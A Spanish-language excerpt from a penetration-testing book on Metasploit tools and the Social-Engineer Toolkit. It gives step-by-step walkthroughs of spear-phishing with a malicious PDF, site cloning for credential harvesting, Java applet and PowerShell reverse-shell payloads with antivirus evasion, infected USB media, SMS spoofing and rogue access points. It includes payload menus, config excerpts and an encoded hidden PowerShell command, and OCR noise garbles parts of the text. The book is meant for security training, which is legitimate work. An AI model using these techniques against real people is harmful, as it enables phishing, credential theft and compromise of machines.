Capítulo V Otras msf tools IPII
7. Manipulación de memoria
Las herramientas disponibles en elframework para la manipulación y análisis de memoria se centran
en el desensamblaje de las aplicaciones. ¿Cuál es el objetivo de este tipo de aplicaciones? El fin es
estudiar el código en ensamblador de dichas aplicaciones , poder visualizar y conocer variables y las
posiciones en memoria de éstas e instrucciones de la aplicación.
Estas acciones son realizadas normalmente por los investigadores de seguridad en busca de
vulnerabilidades en las aplicaciones. El código en ensamblador es realmente el que es ejecutado,
es por ello que si el investigador lo conoce puede determinar en qué lugar puede manipular el EIP,
puntero de instrucción, del cual ya se comentó en el apartado dedicado a msfpayload. En definitiva
se busca obtener vulnerabilidades de tipo buffer overflow.
Elframework dispone de las herramientas msfelfscan y msfpescan para estudiar y analizar el código.
Existen otras herramientas compatibles con las acciones que realizan las mencionadas anteriormente,
como sonfindjmp2, windbg o memdump.
Msfelfscan y msfpescan
La herramienta msfelfscan permite escanear y analizar aplicaciones ELF en sistemas GNU/Linux.
Por otro lado la herramienta msfpescan permite escanear o analizar ficheros ejecutables y DLLs de
sistemas Windows. Se pueden encontrar instrucciones en ensamblador sobre una imagen de memoria
de la aplicación.
Para obtener una imagen de memoria de una aplicación, ésta debe ser lanzada en el sistema objeto,
ya sea Windows o GNU/Linux. Una vez se conoce el PID, identificador del proceso, se pueden
ejecutar herramientas como Memdump, mencionada anteriormente para crear la imagen de la
memoria del proceso. Tras haberse realizado el volcado de memoria anterior se puede analizar con
las herramientas msfelfscan o msfpescan.
•••
Capítulo VI. Ingeniería social con SET IPPI
Capítulo VI
Ingeniería social con SET
l. Ingeniería social
La ingeniería social es el medio por el que los usuarios maliciosos o delincuentes computacionales
manipulan a los usuarios para lograr acceso ilícito a la información, credenciales, escalar privilegios,
etcétera.
El principio de la ingeniería social es que la parte más débil de todo sistema es el usuario, es por ello
que concienéiar a éstos debe ser una de las prioridades de toda empresa. Los medios que el ingeniero
social utiliza, generalmente, son el teléfono e Internet. En cierto tipo de auditorías también puede ser
válido hacerse pasar por otros compañeros de trabajo, con el fin de sacar el máximo de información.
El ingeniero social puede utilizar técnicas como la suplantación de webs, envío de mails con
peticiones de recordatorios de contraseñas, envío de SMS falsos con enlaces a páginas webs bajo
el control del ingeniero social, la cual suplanta a otra web conocida, etcétera. Todas estas técnicas
están, hoy en día, muy optimizadas, lo cual hace que, en algunos casos, diferenciar la web falsa o
phishing sea complicado para un usuario.
Uno de los ataques más comunes, y a la vez más simples, y efectivos es engañar a un usuario para que
piense que un sistema le está solicitando su contraseña para ciertas acciones. Muchos de los usuarios
de Internet reciben, frecuentemente, mensajes que le solicita este tipo de información, credenciales
de cuentas, de bancos, tarjetas de crédito, con el motivo de crear una cuenta, por ejemplo. Este tipo
de ataques, como se mencionó anteriormente, se denominan phishing y es una plaga en Internet.
Actualmente, los bancos y propietarios de este tipo de sistemas advierten periódicamente a los
usuarios para que no revelen información sensible, como tarjetas de crédito, credenciales, etcétera,
por Internet, ya que este tipo de información nunca se solicitará por este medio.
•••
11111• Metasploit para Pentesters
Existen otros métodos propios de la ingeniería social más clásica como es la revelación de las
contraseñas a cambio de otros objetos. Se realizó esta prueba en una oficina de Londres donde un
alto porcentaje de los empleados revelaron su contraseña a cambio de un simple bolígrafo.
Otro de los métodos clásicos de la ingeniería social es el uso de los archivos adjuntos en emails, en
los que se ofrece fotos, aplicaciones, documentos ofimáticas los cuales ejecutarán código malicioso,
con el objetivo de troyanizar la máquina de la víctima. En tal caso, dicha máquina puede ser utilizada
para formar parte de una botnet, y poder así enviar mails a modo de spam, entre otras acciones
maliciosas. En realidad, se necesita que el usuario ejecute estos archivos adjuntos, pero es cierto
que muchos de los usuarios de Internet abren a ciegas los archivos que reciben en sus correos
electrónicos, haciendo fuerte este método de ataque.
Históricamente, como se puede ver en ciertas películas de hackers la ingeniería social presenta su
cara más visible en la manipulación cara a cara para la obtención de acceso a los sistemas. Un posible
ataque dirigido puede comenzar con el proceso de ingeniería social, es decir, el conocimiento de la
víctima.
La defensa contra la ingeniería social es el sentido común, y concienciar a los usuarios de los
sistemas de la información de que acciones se pueden pedir a través de los medios telemáticos,
como manejar el correo electrónico, no fiarse de correos sospechosos, navegación segura, evitar los
enlaces acortados o enlaces sospechosos, utilización de plugins que ayuden a la navegación segura,
etcétera.
Posiblemente el ingeniero social más famoso de la breve historia de la informática es Kevin Mitnick,
al cual se le hizo una película sobre su vida. Según Kevin Mitnick la ingeniería social se basa en
cuatro principios que se enumeran a continuación:
Todo el mundo quiere ayudar.
El primer movimiento es siempre de confianza hacia el otro usuario.
Al ser humano no le gusta decir no.
A todo el mundo le gusta que le alaben.
SET ofrece una aplicación que centraliza todas las funcionalidades necesarias para realizar ingeniería
social a través de medios telemáticos, todo para realizar piratería de la mente humana. El propósito
principal de SET es aportar a la comunidad y a los auditores la posibilidad de utilizar pruebas
•••
Capítulo VI. Ingeniería social con SET
basadas en la ingeniería social para obtener resultados y comprobar la conciencia de los empleados
de una empresa.
El conjunto de herramientas que forman SET atacan debilidades humanas, las cuales aprovechan la
curiosidad de los usuarios, credibilidad o avaricia. Este tipo de ataques, como se podrá estudiar en
este capítulo pueden llegar a ser muy avanzados en la actualidad.
Muchos especialistas en este tema piensan que la ingeniería social es uno de los mayores riesgos a
los que se enfrentan las empresas hoy en día, ya que es realmente dificil proteger a éstas de un ataque
de este estilo.
Un vector de ataque en seguridad informática es la vía utilizada para obtener acceso, ya sea a la
máquina remota, máquina local, información, credenciales, etcétera. SET clasifica los ataques o
vectores de ataque de la siguiente manera:
Vector de ataque: phishing.
Vector de ataque: web.
Medios o dispositivos infectados.
Payloads como ejecutables.
Ataques por correo electrónico.
Falsificación de SMS.
Los vectores de ataque mencionados anteriormente disponen de distinta tasa de éxito, realmente
depende del destinatario y de la calidad del ataque. SET viene con plantillas de correo electrónico
•••
,,,,, Metasploit para Pentesters
y sitios web por defecto, los cuales pueden ser utilizados para realizar ingeniería social. SET se
encuentra disponible en la siguiente ruta, en una distribución BackTrack 5, /pentest/exploits/set.
Configuración de SET
La configuración de SET se puede realizar a través del fichero de configuración que se encuentra
en la ruta !pentestlexploitslsetlconfig/set_config. Existen distintas variables que deben estar bien
configuradas para sacar el máximo provecho a SET. A continuación se irán enunciando distintas
variables que ayudan a aprovechar las distintas opciones y vectores de ataque que SET consigue
explotar gracias a la ingeniería social.
La primera variable que se presenta es METASPLOIT_PATH. Esta variable indica a SET en que
ruta se encuentra instalado el framework de Metasploit. La variable SELF_SIGNED_APPLET
viene deshabilitada por defecto y es recomendable activarla. Esta variable indica si el applet será
firmado con el publicador que se quiera suplantar, siempre y cuando el JDK se encuentre instalado.
Esta variable se utiliza para el ataque de web basado en el applet de JAVA, el cual se encuentra
autofirmado.
La variable APACHE_SER VER viene deshabilitada por defecto, y es recomendable activarla ya que
Apache es un servidor web muy potente y configurable. El servidor web que SET utiliza por defecto
está basado en Python y con menos potencial que Apache. Otra variable relacionada con Apache
es APACHE_DIRECTORY, la cual especifica en qué ruta se encuentra instalado el servidor web
Apache.
Otra variable interesante es WEB_PORT con la que se especifica el valor del puerto en el que se
montará por defecto el servidor web, por ejemplo del ataque del applet de JAVA.
•••
Capítulo VI. Ingeniería social con SET 11,w
Para elegir qué herramienta realizará la técnica de DNS Spoofing existe la variable DNSSPOOF_
PATH. Es interesante estudiar esta técnica para realizar un phishing controlado por el atacante en
todo instante.
La variable ACCESS_POINT_SSID indica qué nombre recibirá el punto de acceso falseado con
SET. Es interesante para ataques de suplantación de AP o puntos de acceso, en los típicos ataques de
ingeniería social a redes wireless.
Estos son algunos ejemplos de variables importantes del fichero de configuración de SET. Como
se puede ver es altamente recomendable visualizarle ya que es muy potente y puede cambiar,
fácilmente, el comportamiento de la herramienta.
En este vector de ataque también figura la posibilidad de enviar correos para realizar ataques de
phishing mediante contenido HTML. Normalmente, este tipo de ataques se realiza de manera
masiva, ya sea un ataque dirigido o no dirigido.
Para poder realizar spoofing del correo electrónico en este tipo de vía se debe cambiar el valor de la
variable SENDMAIL, la cual por defecto viene desactivada en el fichero de configuración de SET,
por el valor on. De todos modos al seleccionar esta opción en el menú de SET, la propia aplicación
comunicará esta acción al usuario.
Para llevar a cabo este ataque en el menú de SET se elegirá la primera opción "Spear-Phishing
Attack Vectors ".
•••
,,,,, Metasploit para Pentesters
Tras la elección del vector de ataque se debe elegir entre varias opciones:
Perform a Mass Email Attack. Realiza un envío masivo de correos electrónicos sobre una
organización. Esta opción es la válida en esta prueba de concepto.
Create a FileFormat Payload. Crea el archivo malicioso y lo deja a disponibilidad del
usuario.
Create a Social-Engineering Template. Permite crear nuevas plantillas para el envío de
mails.
Welcome to the SET E-Mail attack method. This module allows you
to specially craft email messages and send them to a large (or small)
number of people with attached filefonnat malicious payloads. If you
want to spoof your email address, be sure "Sendmail" is installed (it
is installed in BT4) and change the config/set config SENDMAIL=OFF flag
to SENDMAIL=ON.
There are two options, one is getting your feet wet and letting SET do
everything for you (option 1), the second is to create your own FileFonnat
payload and use it in your own attack. Either way, good luck and enjoy!
Tras elegir el método de ataque que se utilizará, SET proporciona una lista de formatos de archivos
que se pueden usar para adjuntar al correo electrónico. En este caso la elección será el archivo
PDF con el exploit Embedded EXE Social Engineering de Adobe, con el que se creará un archivo
PDF malicioso el cual inyectará un payload en la máquina remota, siempre y cuando la versión de
Adobe Reader sea vulnerable. Lo importante en este punto es la variedad y, a la vez, resumen de
•••
Capítulo VI. Ingeniería social con SET
exploits que proporciona SET para el auditor. No hace falta recordar todas las posibilidades para
crear archivos maliciosos, SET las ofrece a través de menús con interacción con el usuario.
Este tipo de ataque permite elegir entre un PDF en blanco, el cual tras ejecutarle no muestre ningún
contenido pero sí intente ejecutar el payload, y entre un PDF ya creado con anterioridad. Con la
segunda opción se intenta dotar al PDF de mayor credibilidad en el arte de la ingeniería social. Para
la prueba de concepto se utiliza la opción del PDF en blanco.
You have selected the default payload creation. SET will generate a normal PDF with embedded EXE
En el siguiente paso se debe seleccionar el payload que se quiere utilizar. La elección del payload,
como se ha mencionado con anterioridad en este libro, es muy importante y SET ofrece una lista de
variantes.
Los payloads disponibles dependerán del exploit que se esté utilizando, ya que hay que recordar
que no todos los payloads valen para todos los exploits. En este caso se utiliza un Meterpreter de
tipo reverse por TCP. Con este Meterpreter se pedirá que se indique el puerto al que se conectará el
payload, por ejemplo el 4444.
•••
Metasploit para Pentesters
l. Windows Reverse TCP Shell Spawn a command shell on victim and send back to attac
ker.
2. Windows Meterpreter Reverse-TCP Spawn a meterpreter shell on victim and send back to a
ttacker.
3. Windows Reverse VNC DLL Spawn a VNC server on victim and send back to attacker
4. Windows Reverse TCP Shell (x64) Windows X64 Command Shell, Reverse TCP Inline
5. Windows Meterpreter Reverse_TCP (X64) Connect back to the attacker (Windows x64), Meterprete
r
6. Windows Shell Bind-TCP (X64) Execute payload and create an accepting port on remate
system.
7. Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meter
preter
A continuación se pedirá si se quiere utilizar Sendmail y de este modo poder spoofear la dirección de
correo electrónico con la que se quiere enviar el mail. También se indicará que el archivo malicioso
se puede renombrar o dejar con el nombre por defecto. Antes de finalizar se indican también distintos
aspectos importantes como son el número de destinatarios, es decir, si se enviará a uno o será un
ataque masivo, qué plantilla se utilizará, si será una predefinida o se creará en el acto, etcétera
Las plantillas de mail predefinidas se pueden personalizar mediante la opción "Create a Social
Engineering Template ". Es interesante visualizar y entender cómo funcionan estas plantillas para
realizar un ataque, por ejemplo en el idioma del atacante o del objetivo.
Por último, se debe elegir si se enviará mediante una cuenta existente de Gmail o se utilizará un
servidor propio para realizar el envío. En esta prueba de concepto se utilizará una cuenta de Gmail,
creada previamente por el atacante, pero para dotar de mayor realismo al ataque debería utilizarse
un servidor propio con la dirección de correo spoofeada.
Tras el envío del correo electrónico se pregunta al usuario si se desea configurar automáticamente
un handler para recibir las posibles conexiones que provoque la ejecución del archivo PDF. Si
•••
Capítulo VI. Ingeniería social con SET fj1i4
algún usuario curioso ejecuta dicho archivo, y su versión, en este caso de Adobe Reader, no está
actualizada, caerá en el engaño y proporcionará un punto débil en la empresa botijosMostoles.com.
A continuación se presentan las pruebas de concepto más utilizadas y que mayor éxito proporcionan
a los usuarios realizando ingeniería social. Algunas, simplemente montan el escenario lo más real
•••
IJu:i Metasploit para Pentesters
posible para recolectar credenciales de la víctima, mientras que otras permiten realizar, incluso, la
explotación del sistema de la víctima obteniendo el control de la máquina.
¿Cómo hacer para que la víctima visite dicha máquina? Realmente dependerá de donde se encuentre
el servidor montado. Si el atacante ha montado el servidor en una máquina en su red privada, puede
que su objetivo real sea algún usuario de su propia red, por lo que es recomendable utilizar DNS
Spoofing para conseguir que la víctima termine accediendo al sitio web del atacante y no al real. Por
otro lado, si el atacante ha montado el servidor en una máquina de Internet, con su dominio real, es
recomendable utilizar enlaces en otros sitios web, correos electrónicos masivos con enlaces al sitio
web malicioso, o incluso utilizar redirecciones desde otros posibles sitios web hackeados.
A continuación se procede a realizar la configuración del servidor para disponer de un sitio web
lo más real al original. En primer lugar, tras ejecutar SET, se debe elegir la opción dos del menú
principal denominada "Website Attack Vectors ".
•••
Fig 6.08: Elección del vector de ataque web .
Capítulo VI. Ingeniería social con SET
Tras elegir la opción, SET proporciona información sobre los distintos ataques o técnicas que se
pueden utilizar en este vector de ataque. Se selecciona la opción "Credential Harvester Attack
Method" para realizar más tarde la configuración del sitio web. Después de la selección de esta
técnica se debe indicar si se utilizará una plantilla de las que dispone SET, si se realizará una
clonación en vivo de un sitio web o si se utilizará un sitio importado por el atacante.
l. Web Templates
2. Site Cloner
�- Custom Import
�- Return to main menu
mail harvester will allow you to utilize the clone capabilities within SET
�o harvest credentials or parameters from a website as well as place them into a report.
rhe best way to use this attack is if username and password fonn
fields are available. Regardless, this captures all POSTs on a website.
[*] I have read the above message. [*]
Una vez que se tiene el sitio web falso preparado en la máquina se debe responder a la pregunta,
¿Cómo hacer para que las víctimas visiten el sitio web? Como se mencionaba anteriormente, se
pueden utilizar distintos métodos como DNS Spoofing, envío masivo de correos electrónicos, enlaces
publicados en otros sitios web de Internet, etcétera.
•••
''"' Metasploit para Pentesters
_¡_
En la propia interacción con SET se pueden ir visualizando las conexiones que las víctimas están
realizando al servidor. Además, SET puede detectar campos de credenciales por lo que puede ser
realmente fácil obtener las credenciales.
Otra opción es capturar todo el tráfico que circula por la web mediante el uso de un analizador de
tráfico en la máquina del atacante. En este caso, se encontrarán todas las credenciales, detecte SET
los campos donde van las credenciales o no.
Signin
Usemarne
pablo@i64
I •••••••
Password
.. O Stay signed ,n
En SET se obtienen unos informes sobre el ataque realizado, con la información obtenida a través de
éste. Estos informes o reportes son localizados en la ruta /pentest/exploitslset/reports y presentados
en formato HTML y XML. En la página siguiente se muestra un listado con los parámetros HTTP
que han sido capturados y que se incluirán en el informe .
•••
Capítulo VI. Ingeniería social con SET '"'
En esta prueba de concepto se presenta el escenario en el que el atacante configura un servidor web,
el cual servirá un sitio web conocido por los usuarios de Internet. Cuando cualquier usuario solicite
el sitio web alojado en este servidor web, se mostrará la página web a la vez que un applet de JAVA.
Si el usuario acepta el applet realmente estará ejecutando un payload en su máquina, siendo víctima
de un ataque de ingeniería social a través de tecnologías conocidas.
El atacante puede confgurar el applet a su gusto, por ejemplo pudiendo elegir el nombre de éste, o
indicar que el editor del applet sean empresas como Microsoft, Google, Apple, etcétera. Este ataque
del applet se puede incorporar a la técnica de envío masivo de correos electrónicos si se configura la
variable WEBATTACK_EMAIL a on en el fichero de configuración de SET.
Un ejemplo real sería utilizar un dominio parecido al de una empresa real o un sitio reconocido por
los usuarios de Internet. Se podrían enviar correos electrónicos de manera masiva enlazando en el
•••
IJ•I Metasploit para Pentesters
contenido del correo al sitio web que suplanta al original tanto en contenido como en el dominio.
Además, la publicación de links en foros o sitios públicos apuntando a esta imitación también podría
ayudar, y mucho, para conseguir que los usuarios accedan al sitio web malicioso.
La configuración del applet de JAVA en SET es realmente sencilla como se podrá estudiar a
continuación. En el menú principal de SET se debe elegir la opción "Website Attack Vectors", tal
y como se realizó anteriormente en el ataque de recolección de credenciales. En el siguiente menú
se presentan los distintos ataques de este vector, y se debe elegir el primero que es el del applet de
JAVA.
Tras la elección del método de ataque se debe seleccionar si se realizará una clonación de un sitio
web en el acto o si se utilizará una plantilla predefinida en SET. Para este ejemplo se clonará la
siguiente URL http://www.informatica64.com.
Después de indicar la web, y si es la primera vez que se configura este ataque se pedirá información
para crear un certificado con el que JAVA firmará el applet, y de este modo intentar que cuando se
provoque el aviso de la ejecución del Applet sea lo más creíble posible.
Una vez realizada la clonación de la página web, se pedirá al usuario de SET que indique qué
payload quiere utilizar con el applet, en esta prueba en concreto se utilizará un Meterpreter.
Después de la elección del payload se pide al usuario que indique un encoder para intentar evitar la
detección de un posible software antimalware. En esta prueba de concepto se utiliza shikata_ga_nai,
el cual realiza cuatro iteraciones sobre el payload para ofuscar su contenido.
•••
Capítulo VI. Ingeniería social con SET IJd
Select one of the below, 'backdoored executable' is typically the best.
En este instante, ya se tiene configurado el servidor web con la página que lanzará el applet al
solicitar el recurso. Cuando una víctima en potencia solicite el recurso visualizará una clonación de
la página web de Informática 64 y a la vez visualizará un pop-up de un applet de JAVA que quiere
ejecutarse.
Si la víctima elige ejecutar el applet, el atacante recibirá una sesión de Meterpreter. SET se encarga
de configurar el módulo exploit/multi/handler para recibir las sesiones de Meterpreter.
Nombre: Java
'! Publicador.
""'
DESCONOCIDO
l"ttp:1/192.168.1,iO
cutos
Form�iÁ"n>
e2012
AiPor fn vuelve el fo1ense
AuditorÁas de Segurid.c:I > �eel , �
1
InformAIOCa... y otras cosas. Ya Sebes, si te lo pasaste bien ¡::,..edes repetilo y si te 01 de octubre de 2012
ConsultorA.a> Q.Jedaste ca, !J.3')aS de asisti", es la oca�Jn perfecta p¿ra pas¿r m fin de semana de lo Curso. Admini�tu1ciA'n
�is entrej:enqo en plena natu'aleza y acon:paÁ±m CE amaites de la téO"d)gÁa como Windo'l'its Server 2812 par.1 IT
Dispositivos MÁ>vilH > tA.O. AdemAis IA©vate el exdJsivo usa de CAiko sd1 pcr aSt>tr.
01 de octubre de2812
DMOVl1. Desarrollo
Libros> ,lplicaclones en iPhone iPad
15 de ocllll)re de 2012
DMOVl2. Oes.anoHo
apUc.1cione.a .wanzad.is en iP•..
Publicaciones > 1, de octubre de 2012
Cont.ict.1 >
VCurso. AuditorAa y Segur
Web
Fig 6.17: Visualización del sitio web malicioso con el applet visible.
•••
•JI• Metasploit para Pentesters
5. Medios infectados
Este vector de ataque es uno de los más simples y más efectivos, siempre y cuando se tenga contacto
fisico con la víctima. La idea es generar un payload con un fichero de autorun, los cuales se deben
instalar en un dispositivo externo como un pendrive o CD/DVD. Cuando la víctima inserte este
medio en su equipo se auto ejecutará el payload comprometiendo la seguridad del equipo.
Este vector de ataque dispone de dos opciones en el momento de crear el ejecutable:
File-Format Exploits. Se genera un archivo con un formato en concreto, por ejemplo
PDF, RAR, RTF, con el objetivo de hacer creer a la víctima que es un archivo inofensivo.
Standard Metasploit Executable. Equivalente a los ejecutables que se crean con
msfpayload, comentada anteriormente en este libro. Si la variable UPX_ENCODE se
encuentra configurada a on y la variable UPX_PATH indica la ruta donde se encuentra el
ejecutable de UPX, se empaquetará con este packer.
l. Windows Reverse TCP Shell Spawn a command shell on victim and send back to attac
ker.
2. Windows Meterpreter Reverse-TCP Spawn a meterpreter shell on victim and send back to a
ttacker.
3. Windows Reverse VNC DLL Spawn a VNC server on victim and send back to attacker
4. Windows Reverse TCP Shell (x64} Windows X64 Command Shell, Reverse TCP Inline
5. Windows Meterpreter Reverse_TCP (X64) Connect back to the attacker (Windows x64), Meterprete
r
6. Windows Shell Bind-TCP (X64} Execute payload and create an accepting port on remote
system.
7. Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meter
preter
•••
Capítulo VI. Ingeniería social con SET ·J�i
En la imagen anterior se puede visualizar un ejemplo de cómo se genera un archivo con un formato
concreto. Como se mencionó anteriormente, también se crea un archivo autorun con el que se
provocará la ejecución automática al introducir el medio externo, por ejemplo el pendrive.
Además, los payload disponibles son tanto para arquitecturas de 32 como de 64 bits. Este hecho
hace que se abarque gran cantidad de máquinas modernas y antiguas. También es interesante la
opción de la conexión, tanto inversa como directa, con las bind shell o reverse shell.
En este libro se han realizado diversos ejemplos con la herramienta msfpayload, e incluso se han
construido ejecutables mediante SET con la opción del apartado anterior "Medios infectados". Para
crear un ejecutable malicioso con SET mediante esta opción simplemente se debe elegir el payload
que se quiere inyectar al fichero ejecutable o binario e ir indicando las posibles opciones, como es la
dirección IP a la que se conectará tras la ejecución del payload.
•••
'"' Metasploit para Pentesters
El objetivo de este vector de ataque es que utilizando un dispositivo HID USB, se pueda emular
un teclado o un ratón. Cuando se inserte el dispositivo, éste se detectará por el sistema como un
dispositivo de interfaz humana. Utilizando el microprocesador y la memoria.flash incorporada en el
dispositivo se pueden enviar pulsaciones rápidas de teclas a la máquina víctima y comprometerla.
Hay que disponer de un dispositivo de este tipo para poder juntarlo con SET y lograr los objetivos.
Se debe seleccionar la opción número seis en el menú de SET, obteniendo así una lista de payloads
para generar los archivos PDE que serán cargados o importados a los dispositivos HID USB. Este
vector utiliza scripts en PowerShell, WScripts y otros tipos de técnicas interesantes, como es la
descarga del payload a través de métodos wget.
En la primera opción que se ofrece se debe indicar, sencillamente, la dirección de correo electrónico
de la víctima. Se podrá utilizar una cuenta de Gmail para realizar la acción maliciosa o la herramienta
sendmail. Es posible emplear código HTML o directamente enviarse como texto plano.
En la segunda opción se debe indicar el fichero que contiene las direcciones de correo electrónico
a las que se quiere realizar el envío masivo. También se puede utilizar una cuenta de Gmail o la
aplicación sendmail.
El envío masivo permite realizar acciones de SPAM, las cuales son potencialmente peligrosas, e
incluso en algunos países ilegales. Este vector de ataque debe ser ejecutado de manera controlada
•••
Capítulo VI. Ingeniería social con SET IJil
por el usuario o auditor, ya que con el envío masivo se puede perder el control de las acciones de
manera sencilla.
9. Falsificación de SMS
Este vector de ataque es realmente especial, ya que permite spoofear el emisor de un mensaje SMS.
Cuando la víctima reciba el SMS aparece como emisor otro número distinto al original, con esto es
posible realizar ataques vía SMS.
Se pueden utilizar distintas opciones en el menú de dicho vector además de crear o personalizar las
plantillas para los mensajes. Este vector da la oportunidad de realizar ingeniería social a través del
servicio móvil de los mensajes cortos. Sería posible por ejemplo mandar un link haciéndose pasar
por un banco solicitando las credenciales del usuario.
Una vez que se selecciona la opción anterior se visualiza que existe un ataque dirigido a un solo
número de teléfono o la posibilidad de realizar un ataque masivo.
You can use a predefined template, create your own template or specify
an arbitrary message. The main method for this would be to get a user to
click or coax them on a link in their browser and steal credentials or perform
other attack vectors.
There are diferent attacks you can launch in the context of SMS spoofing,
select your own.
Los servicios para el envío de SMS suelen ser páginas web de pago. Pero es interesante disponer de
una cuenta de usuario y poder probar este tipo de ataque, ya que los usuarios, hoy en día, no piensan
que estas técnicas sean utilizadas en la realidad.
•••
•Ji:• Metasploit para Pentesters
Es totalmente factible pensar que se puede otorgar a la víctima la dirección IP de la máquina del
atacante como puerta de enlace, esto hará que todo el tráfico de la víctima circule a través de aquella.
Otra de las posibilidades es utilizar, y así lo hace SET, la técnica DNS Spoofing para conseguir que
cuando la víctima solicite un recurso de un dominio, se le redirija a un servidor web que tenga el
atacante con un sitio web similar al original.
Hay que tener en cuenta la ruta donde se encuentran las aplicaciones dnsspoofy airbase-ng, ya que
SET las utilizará. En la imagen se puede visualizar como mediante el uso del comando whereis se
puede localizar la ruta de la aplicación buscada.
Con cualquier editor de texto se debe modificar el fichero set_config en caso de no encontrarse
bien definidas las variables especificadas anteriormente. Como se puede visualizar en la imagen, se
pueden encontrar las variables al final del archivo de configuración de SET.
#THIS FEATURE WILL AUTO EMBED A IMG SRC TAG TO A UNC PATH OF YOUR ATTACK MACHINE.
#USEFUL IF YOU WANT TO INTERCEPT THE HALF LM KEYS WITH RAINBOWTABLES. WHAT WILL HAPPEN
#IS AS SOON AS THE VICTIM CLICKS THE WEB-PAGE LINK, A UNC PATH WILL BE INITIATED
#ANO THE METASPLOIT CAPTURE/SMB MODULE WILL INTERCEPT THE HASH VALUES.
UNC EMBED=OFF
#
#THIS FEATURE WILL ATTEMPT TO TURN CREATE A ROGUE ACCESS POINT ANO REDIRECT VICTIMS BACK TO THE
#SET WEB SERVER WHEN ASSOCIATED. AIRBASE-NG and DNSSPOOF.
ACCESS POINT SSID=linksys
AIRBASE_NG_PATH=/usr/local/sbin/airbase-ng
DNSSPOOF_PATH=/usr/local/sbin/dnsspoof
#
La opción para seleccionar este vector en el menú de SET es la número ocho, denominada "Wireless
Access Point Attack Vector". Tras la elección de esta opción se pedirá al usuario que seleccione entre
arrancar el punto de acceso o detenerlo .
•••
Capítulo VI. Ingeniería social con SET IJD
Welcome to the Wireless Attack Vector, this will create an access point leveraging
your wireless card and redirect all ONS queries to you. The concept is fairly simple,
SET will create a wireless access point, dhcp server, and spoof DNS to redirect traffic
to the attacker machine. It will then exit out of that menu with everything running as
a child process.
You can then launch any SET attack vector you want, for example the Java Applet attack and
when a victim joins your access point and tries going to a website, will be redirected to
your attacker machine.
This attack vector uses AirBase-NG, AirMon-NG, DNSSpoof, and dhcpd3 to work properly.
Tras ejecutar dicha opción se puede visualizar como se empieza a preparar el entorno para generar el
punto de acceso falso. En la siguiente imagen se pueden visualizar dichas acciones.
PID Name
784 dhclient3
3295 dhclient3
Process with PID 3295 (dhclient3) is running on interface wlane
•••
11111 Metasploit para Pentesters
Generalmente, después de un QRCode malicioso se encuentra un sitio web, el cual también podría
ser montado con SET con la opción "Website Attack Vectors ". Por ejemplo, se podría utilizar el
ataque del applet de JAVA unido a que la víctima accediera al sitio a través de un QRCode.
Hay que recalcar que este vector de ataque no se encuentra disponible en la mayoría de versiones
de SET, es una de las últimas funcionalidades añadidas al toolkit, junto al vector de ataque de
PowerShell. En este apartado se ha utilizado la distribución de BackTrack 5 R3, la cual fue liberada
a mediados del año 2012.
En primer lugar, y tras arrancar SET, se debe seleccionar la opción nueve "QRCode Generator
Attack Vector".
fil> 9
•••
Capítulo VI. Ingeniería social con SET IJJI
Directamente se presenta la opción de introducir para qué dirección URL se generará un QRCode.
En esta prueba de concepto se utiliza una dirección IP, pero en un escenario real, es posible que el
atacante haya adquirido un dominio falso, parecido al sitio web real para confundir a las posibles y
potenciales víctimas.
The QRCode Attack Vector will create a QRCode for you with whatever URL you want.
When you have the QRCode Generated, select an additional attack vector within SET and
deploy the QRCode to your victim. For example, generate a QRCode of the SET Java Applet
and send the QRCode via a mailer.
En la imagen se pueden visualizar las vías para generar este tipo de scripts.
•••
l!!I Metasploit para Pentesters
The Powershell Attack Vector module allows you to create PowerShell specific attacks. These atta
cks will allow
you to use Powershell which is available by default in all operating systems Windows Vista and a
bove. PowerShell
provides a fruitful landscape for deploying payloads and performing functions that do not get
triggered by
preventative technologies.
Fig 6.30: Menú con las posibilidades del vector de ataque de PowerShell.
Algunos de los más interesantes son el de dumpeo del fichero SAM, la cual es la opción número
cuatro, o la shell inversa que proporciona una shell, creando previamente un listener en la máquina
del atacante. Este listener será creado con el handler exploit/multilhandler, por ejemplo.
PowerShell es la línea de comandos que viene por defecto en sistemas operativos Microsoft Windows
desde la versión Vista. El atacante debe buscar el método o vía para conseguir que la víctima ejecute
dicho script.
set:powershell>l
set> IP address for the payload listener: 192.168.1.38
Prepping the payload for delivery and injecting alphanumeric shellcode...
Enter the port number for the reverse [443]: 4444
Generating x64-based powershell injection code .. .
Generating x86-based powershell injection code...
Finished generating powershell injection attack and is encoded to bypass exe
cution restriction...
set> Do you want to start the listener now [yes/no]: : yes
set: owershell> Select x86 or x64 victim machine default: x64 :
Fig 6.3 l: Generación del script para la inyección en sistemas Windows.
En primer lugar se utilizará la opción número uno de este vector de ataque denominada "PowerShell
Alphanumeric Shellcode Jnjector". Se puede generar para sistemas de 32 o 64 bits. Al finalizar este
•••
Capítulo VI. Ingeniería social con SET
IJD
proceso se crea un archivo TXT en la ruta /pentest/exploitslset/reports, el código generado en el
fichero es el que se debe ejecutar en la máquina víctima. Se puede convertir este TXT en un script o
directamente copiar el código en una PowerShell y ejecutarlo.
Una vez que se ejecute el script en la máquina víctima, el handler que se configura automáticamente
recibirá la sesión de Meterpreter otorgando el control de la máquina remota al atacante. En este punto
se podrían utilizar todas las opciones estudiadas en el capítulo de Meterpreter y post-explotación.
Actualmente este método es uno de los más favorables para evitar a los sistemas antivirus, debido a
que el código va encodeado y es una vía muy novedosa. En la imagen se puede visualizar el aspecto
que tiene el script generado y los parámetros necesarios, los cuales son generados también por SET,
para su ejecución.
\·lindm,1 s Pouel"She 11
Cop9Pight (C) 2009 Mic1•osoft Co1•po1•ation � Rese1•uados todos los de1•ecl1os �
PS C:\.Use1•s,pablo) pouel"shell -nop:rofile -Hindowstyle hidden -noninte1•active -EncodcdCorriroand JABjAG8AZ
EAGwAbRBJAG0AcABuAH l AdAAoACIAai-,BlAHIAbgBlAG1-,AM1-1A9AC4AZABsAG11AI gApAF0AcAB1AGIAbABpAGM!l I ABzAHQAYQB0AGkAY
uACAASQBuAHQAUAB0AHIAIABUAGkAcgB0AHUAYQBsAEEAbABsAG8AYuAoAEkAbgB0AFAAdAB9ACAAbABi-,AEEAZABkAHIAZQBzAHMAL
kAHcAU1-,BpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGuAbABuAGMAYQB0AGkAb1-,BuAFQAeQBuAGUALAAgAHUAaQBuAHQAIABmAG1,iAU
